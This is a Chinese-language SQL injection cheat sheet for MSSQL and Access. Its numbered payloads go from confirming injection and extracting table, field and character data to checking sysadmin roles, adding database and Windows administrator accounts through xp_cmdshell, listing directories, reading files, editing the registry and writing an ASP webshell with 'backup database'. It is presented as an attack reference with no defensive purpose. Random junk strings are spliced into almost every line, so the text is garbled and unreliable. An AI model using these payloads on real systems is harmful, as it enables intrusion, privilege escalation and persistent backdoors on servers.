1.判断是否有注入;and 1=1 ;and 1=2 k7JE{(Ok
2.初步判断是否是mssql ;and user>0 q1ybJii
"%fh`4y3\
3.注入参数是字符'and [查询条件] and ''=' gY\X?
u3 k%
4.搜索时没过滤参数的'and [查询条件] and '%25'=' <knf^D<"
$/;D8P5/&=
5.判断数据库系统 nZZNx
JPQWRK^
;and (select count(*) from sysobjects)>0 mssql ,Y *unk<S
f%vJmpg
;and (select count(*) from msysobjects)>0 access G165grGFd
yUV0{A-q{0
zh`!x{Z?^
fy+fJ )4sj
6.猜数据库 ;and (select Count(*) from [数据库名])>0 mdjPKrF<
eewhT^
7.猜字段 ;and (select Count(字段名) from 数据库名)>0 {gh41G;n
AsFn%8_I
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 _CqVH5U?
_8t5rF
9.(1)猜字段的ascii值(access) I5]=\k($
1o"/5T:S[
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 K$v
SdpC
rEz-\jLD~
(2)猜字段的ascii值(mssql) +8qtFog$\g
o6`4y^Q{/
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 'a.n
%Aaf86pkp
10.测试权限结构(mssql) ;fomc<
.EeXq}a[
U%%fKL=S
"Tw4'AY'P
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- EmrUzaGD
od~^''/b
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- (Z:(f~;
1Q_ C
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- ?88k`T'EI
X3[gi`
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- W\]bh'(
;R[ xo!
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- 1 &G0;
|OW/-&)
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- =&+]>g{T
337y,;
;and 1=(select IS_MEMBER('db_owner'));-- eC%uu
=5:L#` .
B
~u9"SR.
$t*>A+J
11.添加mssql和系统的帐户 |-Rg].
=$ bJ`GpJ
;exec master.dbo.sp_addlogin username;-- GJZGHUB=>
;exec master.dbo.sp_password null,username,password;-- PJd7t%m;
Pdgn9
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- 3a9%djGq
5)712b(&
;exec master.dbo.xp_cmdshell 'net user username password rP4v_?Zg+
vW6
a=j8
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- =^liong0
lMkDLobos
;exec master.dbo.xp_cmdshell 'net user username password /add';-- .CJQ]ECl7p
Xae0xs
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- d)@Hx8
]5(T{
_#[~?g`
SCwAAE9s]
12.(1)遍历目录 RF3?q6j ,
pypW
;create table dirs(paths varchar(100), id int) gut[q
i4<&zj})
;insert dirs exec master.dbo.xp_dirtree 'c:\' -,xCUG<g
:Y? L*
;and (select top 1 paths from dirs)>0 ;8F|Q<`pV
/zt9;^e
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) 4%! #=JCl
(<M^C>pldf
?yAp&Ad
+65OR'd
(2)遍历目录 )1CYs4lp
nsT]Yxo%M
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- 6yDj1PI
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 ,m4M39MWJ
Q1ox<-
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 '5^$v{
$ghAC
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 V[9#+l~#
* SAYli+@
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 bx!uHL=
4Vv~
\R"} =7
'K|Jg.2
13.mssql中的存储过程 k8>(-W"A
}s*H|z
xp_regenumvalues 注册表根键, 子键 VSm[80iR0
01N]|F:
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 a#i85su
^pI&f{q
xp_regread 根键,子键,键值名 Iw07P2
@B.;V=8wJ
;exec xp_regread Tbf@qid e
8(AI|"A"-
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 |aAu4
oAnNdo
xp_regwrite 根键,子键, 值名, 值类型, 值 gK&MdF*
FI.Ae/(U
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 Z>897>
B: '}SA{
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 6CQ.>M:R
$5(_U
xp_regdeletevalue 根键,子键,值名 -|1H-[Y(
w@K4u{|
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 W|~Jl7hs8Q
#=}dv8
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 =O~ J
sObH#/l`
M lv
KOQiX?'
14.mssql的backup创建webshell Z.Otci> J
R1!F mZW8
use model C]X:@^Hy
"7w~0?}
create table cmd(str image); jwP}{mi*
;q=0NtCS=4
insert into cmd(str) values (''); q+j.)e
g]fds Zv
backup database model to disk='c:\l.asp'; "ITC P<+
AD$$S.zoD<
`5HFRgL`.
0n FEPMO
15.mssql内置函数 ^Vbx9UN/
!b !C+ \v
;and (select @@version)>0 获得Windows的版本号 qcNu9Ih
xgdS]Sz
;and user_name()='dbo' 判断当前系统的连接用户是不是sa i146@<\G{P
knX*fp
;and (select user_name())>0 爆当前系统的连接用户 \tpJ
fX:)mLnO/
;and (select db_name())>0 得到当前连接的数据库 mYU7b8x_
v?BVUH>#9
J
8!D."'Q0
4t C-msTf
16.简洁的webshell A-=B#U F
`.MY"g9
use model /mi9q
\2UtT@3|C
create table cmd(str image); r>>4)<C7J
U~;Rzoe)q*
insert into cmd(str) values (''); 0Q>yv;M
f *Xum[
backup database model to disk='g:\wwwtest\l.asp';